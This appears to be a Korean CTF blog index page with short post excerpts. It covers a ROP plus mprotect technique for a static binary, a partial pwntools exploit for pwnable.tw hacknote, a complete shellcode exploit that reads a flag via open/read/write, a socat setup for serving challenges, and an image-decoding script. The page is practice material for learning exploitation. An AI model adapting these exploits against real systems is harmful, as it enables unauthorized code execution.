https://www.lazenca.net/display/TEC/
https://github.com/hyomin-Lee/exploit/blob/master/Hitcon_training/lab5/simplerop.py hitcon training lab5 simplerop 문제이다. 이 문제는 static 컴파일이 되어있어서 GOT overwrite 같은 공격이 불가하다. 따라서 shellcode의 실행으로 sh을 얻을 수 있었다. not stripped 이기때문에 mprotect의 주소를 얻을 수 있었다. NX기법이 걸려있으면 shellcode를 실행 할 수 없다. 하지만 mprotect를 이용해서 bss영역에 실행권한을 부여하면 shellcode를 이용해서 공격할 수 있다.
from pwn import * s = remote("chall.pwnable.tw", 10102)e = ELF("./hacknote")lib = ELF("./libc_32.so.6")#context.log_level = 'debug' leakfunc =0x804862B s.recvuntil(":")s.sendline('1')s.recvuntil(":")s.sendline("1000")s.recvuntil(":")s.sendline("hyomin")s.recvuntil(":")s.sendline("1")s.recvuntil(":")s.sendline("1000")s.recvuntil(":")s.sendline("hyomin2") s.recvuntil(":")s.sendline("2") s.recvunti..
from pwn import * s = remote("chall.pwnable.tw", 10001)context(arch='i386', os='linux') s.recvuntil(":") payload = shellcraft.pushstr("/home/orw/flag")payload += shellcraft.open("esp",0,0)payload += shellcraft.read("eax", "esp", 0xff)payload += shellcraft.write(1,"esp", 0xff)s.sendline(asm(payload)) s.interactive() FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}
가끔 pwnable문제를 풀 때 ctf 환경, nc서버 환경을 만들어줘야 하는 문제들이 있는데, 데몬에 올린다던지, nc -e 옵션을 이용한다던지 다양한 방법들이 있지만 이번엔 socat이라는 것을 이용해 보려고 한다. 매우 간단하다. socat TCP-LISTEN:port,reuseaddr,fork EXEC:path 를 이용하면 된다. socat TCP-LISTEN:9999,reuseaddr,fork EXEC:./dance port를 지정해주고 binary의 위치를 적어주면 된다. 접속은 nc를 이용하면 된다. 바이너리가 실행되는 것을 확인 할 수 있다.
plt 나 got 위치는 쉽게 구할 수 있다. 이 글에서 말하고자 하는 것은 printf나 puts 함수들의 name문자열도 메모리에 위치하고 있다. hyomin@ubuntu:~/baobob/ctf/gadi/pwn/dance_$ objdump -h ./dance ./dance: file format elf64-x86-64 Sections:Idx Name Size VMA LMA File off Algn 0 .interp 0000001c 0000000000400238 0000000000400238 00000238 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 1 .note.ABI-tag 00000020 0000000000400254 0000000000400254 00000254..
from PIL import Image width, height = (300, 300)x,y = (0,0) img = Image.open("D:/what.png")img2 = Image.new("RGB", (300,300), (0xff,0xff,0xff))pix = img.load() for x in range(0,300): for y in range(0,300): r = pix[x,y][0] g = pix[x,y][1] b = pix[x,y][2] if(r==g and g==b and(r==192 or r==0)): img2.putpixel( (x,y), (255,255,255) ) else: img2.putpixel( (x,y), (0,0,0) ) img2.save("D:/solve__.png","p..
- pwnable
- TLS
- 본선가고싶다
- fastbin
- shellcoding
- stack reusing
- glibc
- pwable
- codegate
- tcache
- fastbindup
- 해킹
- overflow
- srop
- exit
- rt_sigreturn
- heap
- hacking
- SQLi
- HackCTF
- FSB
- fsop
- ebp change
- oob
- pwnable.tw
- Total
- Today
- Yesterday